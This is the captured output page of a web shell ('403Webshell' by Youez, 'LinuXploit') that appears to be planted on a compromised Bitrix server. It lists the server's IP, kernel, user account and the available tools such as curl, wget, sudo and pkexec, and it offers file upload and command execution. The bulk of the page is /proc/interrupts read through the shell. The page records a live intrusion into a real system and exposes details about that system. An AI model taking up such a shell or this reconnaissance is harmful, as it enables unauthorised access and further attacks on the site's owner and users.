403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/interrupts
            CPU0       CPU1       CPU2       
   1:          9          0          0   IO-APIC    1-edge      i8042
   8:          0          0          0   IO-APIC    8-edge      rtc0
   9:          0          0          0   IO-APIC    9-fasteoi   acpi
  10:          0    3674442          0   IO-APIC   10-fasteoi   virtio2
  11:          0     179459          0   IO-APIC   11-fasteoi   virtio3, uhci_hcd:usb1
  12:          0          0         15   IO-APIC   12-edge      i8042
  14:          0          0          0   IO-APIC   14-edge      ata_piix
  15:   10765232          0          0   IO-APIC   15-edge      ata_piix
  24:          0          0          0  PCI-MSIX-0000:00:07.0    0-edge      virtio4-config
  25:          0          0  823850243  PCI-MSIX-0000:00:07.0    1-edge      virtio4-req.0
  26:          0          0          0  PCI-MSIX-0000:00:04.0    0-edge      virtio1-config
  27:          0   17536250          0  PCI-MSIX-0000:00:04.0    1-edge      virtio1-virtqueues
  28:          0          0          0  PCI-MSIX-0000:00:03.0    0-edge      virtio0-config
  29:  484044451  169666892     313048  PCI-MSIX-0000:00:03.0    1-edge      virtio0-input.0
  30:  217460461  625361660     389287  PCI-MSIX-0000:00:03.0    2-edge      virtio0-output.0
 NMI:          0          0          0   Non-maskable interrupts
 LOC: 4256254143 4282527109   42311493   Local timer interrupts
 SPU:          0          0          0   Spurious interrupts
 PMI:          0          0          0   Performance monitoring interrupts
 IWI:         21         20         29   IRQ work interrupts
 RTR:          0          0          0   APIC ICR read retries
 RES:   90506664   93582415   84865135   Rescheduling interrupts
 CAL:  866995751  717152138  392779766   Function call interrupts
 TLB:   20834772   20705740   21046090   TLB shootdowns
 TRM:          0          0          0   Thermal event interrupts
 THR:          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0   Machine check exceptions
 MCP:      33641      33641      33641   Machine check polls
 ERR:          0
 MIS:          0
 PIN:          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit